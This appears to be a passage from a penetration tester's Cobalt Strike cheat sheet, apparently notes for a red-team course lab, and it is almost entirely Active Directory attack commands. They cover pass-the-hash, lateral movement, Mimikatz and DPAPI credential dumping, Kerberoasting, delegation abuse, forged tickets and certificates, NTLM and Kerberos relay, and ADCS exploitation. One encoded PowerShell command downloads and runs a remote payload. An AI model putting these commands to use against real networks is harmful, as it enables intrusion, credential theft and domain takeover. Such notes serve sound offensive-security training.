# Using rc4 NTLM Hash
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /ntlm:59fc0f884922b4ce376051134c71e22c /nowrap

# Using aes256 hash (Recommended for better opsec)
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /aes256:4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6 /domain:DEV /opsec /nowrap
```

### Lateral movement

<pre class="language-sh"><code class="lang-sh"># using Jump
beacon> jump psexec/psexec64/psexec_psh/winrm/winrm64 ComputerName beacon_listener

# Using remote exec
beacon> remote-exec psexec/winrm/wmi ComputerName &#x3C;uploaded binary on remote system>

# Example Windows Management Instrumentation (WMI)
beacon> cd \\web.dev.cyberbotic.io\ADMIN$
beacon> upload C:\Payloads\smb_x64.exe
beacon> remote-exec wmi web.dev.cyberbotic.io C:\Windows\smb_x64.exe
beacon> link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10

# Executing .Net binary remotely 
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe OSInfo -ComputerName=web

#Execute SharpWMI
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\SharpWMI.exe action=exec computername=web.dev.cyberbotic.io command="C:\Windows\smb_x64.exe"

#Pass the hash to shell
beacon> pth eu-domain\Administrator d05ff1e301xxx8dx3exbxab5d22454cx
<strong>beacon> remote-exec psexec DC03 \\DC03.eu-ifrit.vl\c$\Users\Administrator\Desktop\Intrusionz3r0.exe
</strong>
# Invoke DCOM (Better OPSEC and complicated to detect)
beacon> powershell-import C:\Tools\Invoke-DCOM.ps1
beacon> powershell Invoke-DCOM -ComputerName web.dev.cyberbotic.io -Method MMC20.Application -Command C:\Windows\smb_x64.exe
beacon> link web.dev.cyberbotic.io TSVCPIPE=8118acb=0514-44d7-91dc-fbfea24fff10

#Password Spraying Attack
beacon> Spray-AD MySup3rS3CuR3P4$$w0rd!231
</code></pre>

### Data Protection API

Windows Credential Manager uses a two-layer system for credential storage:

1. **Vaults** (Containers):
   * Web Credentials: Stores browser-saved passwords (IE/Edge)
   * Windows Credentials: Stores RDP, network shares, and application credentials
   * Each vault contains metadata about stored credentials
2. **Credentials** (Actual Data):
   * Encrypted blobs containing the sensitive data
   * Protected via DPAPI (Data Protection API)
   * Stored in separate locations from vault references

<pre class="language-sh"><code class="lang-sh">#--------------------------------
#Enumerate windows vault
#--------------------------------

beacon> mimikatz !vault::list
beacon> mimikatz !vault::cred /patch

#---------------------------------------------
#Enumerating credentials either Windows or WEB
#---------------------------------------------

beacon> run vaultcmd /list
beacon> run vaultcmd /listcreds:"Windows Credentials" /all
beacon> run vaultcmd /listcreds:"Web Credentials" /all
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsVault

#--------------------------------
#Scheduled Task Credentials
#--------------------------------

beacon> ls C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials
beacon> mimikatz dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\F3190EBE0498B77B4A85ECBABCA19B6E

beacon> mimikatz !sekurlsa::dpapi
beacon> mimikatz dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\F3190EBE0498B77B4A85ECBABCA19B6E /masterkey:&#x3C;masterkey>

#--------------------------------
#Extracting RDP credentials
#--------------------------------

beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsCredentialFiles
beacon> ls C:\Users\bfarmer\AppData\Local\Microsoft\Credentials
beacon> ls C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104

beacon> mimikatz !sekurlsa::dpapi
beacon> mimikatz dpapi::masterkey /in:C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104\bfc5090d-22fe-4058-8953-47f6882f549e /rpc
beacon> mimikatz dpapi::cred /in:C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\6C33AC85D0C4DCEAB186B3B2E5B1AC7C /masterkey:&#x3C;masterkey>

#--------------------------------
<strong>#Extract DPAPI credentiales using SharpDPAPI.exe
</strong>#--------------------------------

beacon> C:\Tools\Seatbelt\Seatbelt\bin\Release\SharpDPAPI.exe machinecredentials
<strong>beacon> C:\Tools\Seatbelt\Seatbelt\bin\Release\SharpDPAPI.ex machinetriage
</strong></code></pre>

### Kerberos

#### Kerberoast

```sh
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes cn,servicePrincipalName,samAccountName
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /user:mssql_svc /nowrap
Intrusionz3r0@htb[/crto]$ hashcat -m 13100 <hash> rockyou.txt
```

#### Asreproast

```sh
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asreproast /user:squid_svc /nowrap
Intrusionz3r0@htb[/crto]$ hashcat -m 18200 <hash> rockyou.txtip
```

**Unconstrained Delegation**

```sh
#Enumerate computers with unconstrained delegation enabled
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname

#Monitor for authentications 
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe monitor /interval:10 /nowrap

#Dump TGT tickets in memory
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x14794e /nowrap

#Lateral movement 
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /ticket:doIFuj[...]lDLklP
beacon> steal_token <PID>

#Coerce authentication to capture TGT
beacon> execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe <Target-FQDN> <LISTENR-FQDN>
```

#### Constrained delegation enabled

```sh
#Enumerate computer with constrained delegation enableds
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json

#Authenticate either computer or user trusted for delegation (asktgt to request TGT using NTML or AES)
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:'user$' /password:'mypassword' /nowrap
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:'user$' /password:'mypassword' /nowrap

#Using S4U to request (If SMB is not enabled use /altservice:ldap)
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:administrator /msdsspn:cifs/dc-2.dev.cyberbotic.io  /user:sql-2$ /ticket:doIFLD[...snip...]MuSU8= /nowrap

#Lateral Movement
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGaD[...]ljLmlv
beacon> steal_token 5540
beacon> ls \\dc-2.dev.cyberbotic.io\c$
beacon> dcsync dev.cyberbotic.io DEV\krbtgt
```

#### Resource Based Constrained delegation RBCD

```sh
#Enumerate computers with RBCD enabled
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" --attributes dnshostname,samaccountname,msDS-AllowedToActOnBehalfOfOtherIdentity --json

#Identify computer with writeable RBCD permission
beacon> powerpick Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-<<DOMAIN-SID>>-[\d]{4,10}" }

#Convert SID to readable string
beacon> powershell ConvertFrom-SID <<FULL-SID>>

#Set msDS-AllowedToActOnBehalfOfOtherIdentity attribute for delegation
beacon> powerpick Get-DomainComputer -Identity <<CONTROLLED-COMPUTER>> -Properties objectSid
beacon> powerpick $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<<CONTROLLED-COMPUTER-SID>>)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "DC" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose
beacon> powerpick Get-DomainComputer -Identity <<TARGET-COMPUTER>> -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

#Verify delegation attribute was set
beacon> powerpick Get-DomainComputer -Identity <<TARGET-COMPUTER>> -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

#Request Ticket Granting Ticket from target
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

#Use S4U to get TGS for target service using delegated TGT
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:<<CONTROLLED-COMPUTER>>$ /impersonateuser:<<TARGET-USER>> /msdsspn:cifs/<<TARGET-COMPUTER-FQDN>> /ticket:<<TGT-BASE64>> /nowrap

#Start a process with the impersonated TGS
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<<DOMAIN>> /username:<<TARGET-USER>> /password:<<FAKE-PASSWORD>> /ticket:<<TGS-BASE64>>

#Steal token from new process and access resources
beacon> steal_token <<PID>>
beacon> ls \\<<TARGET-COMPUTER-FQDN>>\c$

#Remove delegation rights to clean up
beacon> powerpick Get-DomainComputer -Identity <<TARGET-COMPUTER>> | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity

#(Optional) Check if computer creation is allowed (default = 10)
beacon> powerpick Get-DomainObject -Identity "DC=<<DOMAIN>>,DC=<<TLD>>" -Properties ms-DS-MachineAccountQuota

#(Optional) Create fake computer account
beacon> execute-assembly C:\Tools\StandIn\StandIn\StandIn\bin\Release\StandIn.exe --computer <<FAKE-COMPUTER-NAME>> --make
#Generate hash for the fake computer password
PS> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe hash /password:<<PASSWORD>> /user:<<FAKE-COMPUTER-NAME>>$ /domain:<<DOMAIN.FQDN>>

#Use fake computer's AES key to request TGT
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:<<FAKE-COMPUTER-NAME>>$ /aes256:<<AES256-HASH>> /nowrap
```

#### Useful ticket combinations

| Technique         | Required Service Tickets |
| ----------------- | ------------------------ |
| psexec            | HOST & CIFS              |
| winrm             | HOST & HTTP              |
| dcsync (DCs only) | LDAP                     |

#### Silver Ticket

```sh
#Generate the silver Ticket TGS offline using Rubeus (use /rc4 flag for NTLM hash)
PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe silver /service:cifs/wkstn-1.dev.cyberbotic.io /aes256:<aes256> /user:nlamb /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /nowrap

#3. Inject the ticket and Verify the access 
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFXD[...]MuaW8=
beacon> steal_token 5668
beacon> ls \\wkstn-1.dev.cyberbotic.io\c$
```

#### Golden Ticket

```sh
beacon> dcsync dev.cyberbotic.io DEV\krbtgt
beacon> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:<aes256> /user:nlamb /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /nowrap
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFLz[...snip...]MuaW8=
beacon> steal_token 5060
beacon> run klist
beacon> ls \\dc-2.dev.cyberbotic.io\c$
```

### Kerberos Relay

#### Setting up Cobalt Strike&#x20;

```sh
# Modify the Malleable C2 profile and double the task size tasks_max_size. 
# 1. Add below line to the top of your malleable C2 profile.
set tasks_max_size "2097152";

# 2. Restart team server 
sudo systemctl daemon-reload
sudo systemctl status teamserver.service
sudo systemctl stop teamserver.service
sudo systemctl start teamserver.service
sudo systemctl enable teamserver.service
```

#### Kerberos Relay + RBCD attack workflow

```sh
# 1. Create fake computer and get its SID
beacon> execute-assembly C:\Tools\StandIn\StandIn\StandIn\bin\Release\StandIn.exe --computer EvilComputer --make --domain dev.cyberbotic.io
beacon> powershell-import c:\Tools\PowerSploit\Recon\PowerView.ps1
beacon> powerpick Get-DomainComputer -Identity EvilComputer -Properties objectsid

# 2. Find a valid OXID port
beacon> execute-assembly C:\Tools\KrbRelay\CheckPort\bin\Release\CheckPort.exe

# 3. Execute KrbRelay to modify RBCD
beacon> execute-assembly C:\Tools\KrbRelay\KrbRelay\bin\Release\KrbRelay.exe -spn ldap/dc-2.dev.cyberbotic.io -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-569305411-121244042-2357301523-9101 -port 10
beacon> powerpick Get-DomainComputer -Identity wkstn-2 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

# 4. Obtain NT hash of EvilComputer
beacon> execute-assembly C:\Tools\Rubeus\Rubeus.exe hash /password:oIrpupAtF1YCXaw /user:EvilComputer$ /domain:dev.cyberbotic.io

# 5. Request TGT using EvilComputer’s hash
beacon> execute-assembly C:\Tools\Rubeus\Rubeus.exe asktgt /user:EvilComputer$ /aes256:1DE19DC9065CFB29D6F3E034465C56D1AEC3693DB248F04335A98E129281177A /nowrap

# 6. Use S4U to impersonate Administrator and request TGS for wkstn-2
beacon> execute-assembly C:\Tools\Rubeus\Rubeus.exe s4u /user:EvilComputer$ /impersonateuser:Administrator /msdsspn:host/wkstn-2 /ticket:<base64_TGT> /ptt

# 7. Perform elevation to SYSTEM using the Kerberos ticket
beacon> elevate svc-exe-krb tcp-local

```

#### Kerberos Relay Attack using Shadow Credentials

```sh
# 1. Check that the target computer has no shadow credentials
beacon> execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe list /target:wkstn-2$

# 2. Find a valid OXID port
beacon> execute-assembly C:\Tools\KrbRelay\CheckPort\bin\Release\CheckPort.exe

# 3. Execute KrbRelay with the -shadowcred flag
# If error 0x800706D3 occurs (authentication service unknown), reboot the machine and try again
beacon> execute-assembly C:\Tools\KrbRelay\KrbRelay\bin\Release\KrbRelay.exe -spn ldap/dc-2.dev.cyberbotic.io -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred -port 10

# 4. Request TGT for wkstn-2$ using the shadow credentials certificate
# KrbRelay will provide the certificate and password output after successful injection
beacon> execute-assembly C:\Tools\Rubeus\Rubeus.exe asktgt /user:WKSTN-2$ /certificate:<base64_cert> /password:"<guid_password>" /enctype:aes256 /nowrap

# 5. Use S4U2Self to impersonate Administrator and get HOST service ticket
beacon> execute-assembly C:\Tools\Rubeus\Rubeus.exe s4u /impersonateuser:Administrator /self /altservice:host/wkstn-2 /user:WKSTN-2$ /ticket:<base64_TGT> /ptt

# 6. Perform elevation to SYSTEM using the Kerberos ticket
beacon> elevate svc-exe-krb tcp-local
```

### Shadow Credentials

```sh
#ENUMERATE WRITE PERMISSIONS ON msDS-KeyCredentialLink
beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
beacon> powerpick Find-InterestingDomainAcl -ResolveGUIDs | ? { $_.IdentityReferenceName -match "Domain Users" }
beacon> powerpick Get-DomainSid -Domain <<DOMAIN-FQDN>>

#Check ACLs for write access on computers
beacon> powerpick Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" }
beacon> powerpick Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-<<DOMAIN-SID>>-[\d]{4,10}" }

#Check ACLs for write access on users
beacon> powerpick Get-DomainUser | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" }
beacon> powerpick Get-DomainUser | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-<<DOMAIN-SID>>-[\d]{4,10}" }

#Convert SID to username
beacon> powerpick ConvertFrom-SID S-1-5-21-<<DOMAIN-SID>>-<<RID>>

#Check group membership
beacon> powerpick Get-DomainGroupMember -Identity "<<GROUP>>" -Domain <<DOMAIN-FQDN>> -Recurse


#ENUMERATE EXISTING SHADOW CREDENTIALS (List current credentials)
beacon> execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe list /target:<<TARGET-COMPUTER>>$

#Search for users/computers with msDS-KeyCredentialLink set
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(msDS-KeyCredentialLink=*))" --attributes dnshostname,samaccountname,msDS-KeyCredentialLink --json
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(msDS-KeyCredentialLink=*))" --attributes samaccountname,msDS-KeyCredentialLink --json


#ADD SHADOW CREDENTIAL TO TARGET OBJECT
beacon> execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe add /target:<<TARGET-COMPUTER>>$


#VERIFY SHADOW CREDENTIAL (Using Whisker)
beacon> execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe list /target:<<TARGET-COMPUTER>>$

#VERIFY SHADOW CREDENTIAL (Using PowerView)
beacon> powerpick Get-DomainComputer -Identity <<TARGET-COMPUTER>>
beacon> powerpick Get-DomainUser -Identity <<TARGET-USER>>


#REQUEST TGT USING CERTIFICATE
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:<<TARGET>>$ /certificate:<<BASE64-CERT>> /password:"<<FAKEPASS>>" /nowrap


#IF COMPUTER ACCOUNT TGT – PERFORM S4U2SELF + LATERAL MOVEMENT (Generate TGS from TGT)
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:<<VICTIM-USER>> /self /altservice:cifs/<<TARGET-FQDN>> /user:<<TARGET-COMPUTER>>$ /ticket:<<TGT-B64>> /nowrap

#Inject into sacrificial process
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<<DOMAIN>> /username:<<VICTIM-USER>> /password:FakePass /ticket:<<TGS-B64>>
beacon> steal_token <<PID>>
beacon> ls \\<<TARGET-FQDN>>\c$


#6IF USER ACCOUNT TGT – DIRECTLY INJECT INTO A PROCESS
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<<DOMAIN>> /username:<<VICTIM-USER>> /password:FakePass /ticket:<<TGT-B64>>
beacon> steal_token <<PID>>
beacon> ls \\<<TARGET-FQDN>>\c$


#REMOVE SHADOW CREDENTIAL (List existing credentials (confirm DeviceID))
beacon> execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe list /target:<<TARGET-COMPUTER>>$

#Remove entry using DeviceID (GUID provided by Whisker when adding)
beacon> execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe remove /target:<<TARGET-COMPUTER>>$ /deviceid:<<DEVICEID-GUID>>
```

### NTLM Relay

**Tools**: <https://github.com/praetorian-inc/PortBender/blob/main/static/PortBender.cna>

<figure><img src="/files/1meS96l2IjM8093YJk2Q" alt=""><figcaption></figcaption></figure>

```sh
#1. Setup SOCKS Proxy on the beacon
beacon> socks 1080 socks5 disableNoAuth socks_user socks_password enableLogging

#2. Setup Proxychains to use this proxy
$ sudo vim /etc/proxychains.conf
socks5 127.0.0.1 1080 socks_user socks_password

#3. Use Proxychain to send NTLMRelay traffic to beacon targeting DC and encoded SMB Payload for execution
$ sudo proxychains ntlmrelayx.py -t smb://10.10.122.10 -smb2support --no-http-server --no-wcf-server -c 'powershell -nop -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAyADMALgAxADAAMgA6ADgAMAA4ADAALwBiACIAKQA='

# iex (new-object net.webclient).downloadstring("http://10.10.123.102:8080/b")

#4. Setup reverse port forwarding 
beacon> rportfwd 8080 127.0.0.1 80
beacon> rportfwd 8445 127.0.0.1 445

#5. Upload PortBender driver and load its .cna file
beacon> cd C:\Windows\system32\drivers
beacon> upload C:\Tools\PortBender\WinDivert64.sys
beacon> PortBender redirect 445 8445

#6. Manually try to access share on our system or use MSPRN, Printspooler to force authentication

#7. Verify the access in weblog and use link command to connect with SMB beacon
beacon> link dc-2.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10
```

### WebClient Abuse (WebDAV)

You can check if WebDAV is enabled on target machine, if so, it can be used to perform a NTLM relay attack to compromise the server.

Tool: <https://github.com/G0ldenGunSec/GetWebDAVStatus/tree/main>

<pre class="language-sh"><code class="lang-sh">beacon> inline-execute C:\Tools\GetWebDAVStatus\GetWebDAVStatus_BOF\GetWebDAVStatus_x64.o Machine1,machine2
<strong>beacon> powershell New-NetFirewallRule -DisplayName "8888-In" -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8888 
</strong><strong>
</strong><strong>Intrusionz3r0@htb[/crto]$ sudo proxychains ntlmrelayx.py -t ldaps://10.10.10.10 --delegate-access -smb2support --http-port 8888
</strong><strong>
</strong><strong>
</strong>beacon> execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe &#x3C;HOSTNAME/FQDN/IP> MACHINE-NAME@8888/pwned
beacon> execute-assembly /home/Intrusionz3r0/Documents/Tools/SpoolSample.exe 10.10.220.54 "WIN-BSET2PBW1EP@80/Intrusionz3r0.txt"
</code></pre>

### Pivoting

#### Set up Socks Proxy on cobalt strike

```sh
#Socks4
beacon> socks 1080

#socks5
beacon> socks 1080 socks5 disableNoAuth socks_user socks_password enableLogging

#Setting up Proxychains configuration
echo "socks4 127.0.0.1 1080" | sudo tee -a /etc/proxychains.conf
echo "socks5 127.0.0.1 1080 user password" | sudo tee -a /etc/proxychains.conf

#Allows/Deny/Remove firewall rules 
beacon> powershell New-NetFirewallRule -DisplayName "Test Rule" -Profile Domain -Direction Inbound -Action Allow -Protocol TCP -LocalPort 8080
beacon> powershell Remove-NetFirewallRule -DisplayName "Test Rule"
```

### Active Directory Certificate Services

```sh
# Finding Certificate Authorities
beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe cas

# Miconfigured Certificate template
beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe find /vulnerable
```

#### How to exploit ESC1 - ESC13

{% embed url="<https://intrusionz3r0.gitbook.io/intrusionz3r0/windows-penetration-testing/active-directory-certificate-services>" %}

#### ADCS - ESC1

**Requirements**:

* Enrollment Rights: `youruser`
* Requires Manager Approval: `False`.
* Authorized Signature Required: `0`.
* Client Authentication: `True` or Extended Key Usage `Client Authentication`.
* Enrollee Supplies Subject: `True`.

```sh
beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:dc-2.dev.cyberbotic.io\sub-ca /template:CustomUser /altname:nlamb

Intrusionz3r0@htb[/crto]$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Intrusionz3r0@htb[/crto]$ cat cert.pfx | base64 -w 0

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /certificate:MIIM7w[...]ECAggA /password:<password> /nowrap
```

#### ADCS - ESC8

**Requirements:**

* A vulnerable web enrollment endpoint.
* At least one certificate template enabled allows domain computer enrollment and client authentication (like the default Machine/Computer template).
* Request Disposition : Issue

```sh
#Setup Socks5 Proxy 
beacon> socks 1080 socks5 disableNoAuth socks_user socks_password enableLogging

#Configure Proxychains
Intrusionz3r0@htb[/crto]$ echo "socks4 127.0.0.1 1080" | sudo tee -a /etc/proxychains.conf
Intrusionz3r0@htb[/crto]$ echo "socks5 127.0.0.1 1080 user password" | sudo tee -a /etc/proxychains.conf

#Start ntlmrelayx.py
Intrusionz3r0@htb[/crto]$ sudo proxychains ntlmrelayx.py -t https://10.10.122.10/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

#Configure reverse port forwarding
beacon> rportfwd 8445 127.0.0.1 445

#Uploading the Driver for PortBender
beacon> cd C:\Windows\system32\drivers
beacon> upload C:\Tools\PortBender\WinDivert64.sys
beacon> PortBender redirect 445 8445

#Coercing authentication
beacon> execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe <Unconstrained-Computer> <Listener>

#Lateral Movement
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:WEB$ /certificate:MIIM7w[...]ECAggA /nowrap
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:Administrator /self /altservice:cifs/web.dev.cyberbotic.io /nowrap /user:WEB$ /ticket:doIFuj[...]lDLklP
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:Administrator /password:FakePass /ticket:doIFyD[...]MuaW8=tok

beacon> steal_token 1234
beacon> ls \\web.dev.cyberbotic.io\c$
```

#### Golden Certificate

<pre class="language-sh"><code class="lang-sh"><strong>#Obtain the CA certificate
</strong>beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe certificates /machine

#Convert .pem file to pfx format using openssl
Intrusionz3r0@htb[/crto]$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

#Using ForgeCert.exe to forge a certificate
PS C:\Users\Attacker> C:\Tools\ForgeCert\ForgeCert\bin\Release\ForgeCert.exe --CaCertPath .\Desktop\sub-ca.pfx --CaCertPassword pass123 --Subject "CN=User" --SubjectAltName "nlamb@cyberbotic.io" --NewCertPath .\Desktop\fake.pfx --NewCertPassword pass123

#Use the certificate to get TGT for nlamb user
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /domain:dev.cyberbotic.io /enctype:aes256 /certificate:MIACAQ[...snip...]IEAAAA /password:pass123 /nowrap

#Lateral movement
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFLz[...snip...]MuaW8=
beacon> steal_token 5060
beacon> run klist
beacon> ls \\dc-2.dev.cyberbotic.io\c$
</code></pre>

### GPO Abuse

#### Modify Existing GPO

```sh
#1. Identify GPO where current principal has modify rights
beacon> powerpick Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }

#2. Resolve GPOName, Path and SID of principal
beacon> powerpick Get-DomainGPO -Identity "CN={AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F},CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" | select displayName, gpcFileSysPath
beacon> powerpick ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
beacon> ls \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F}

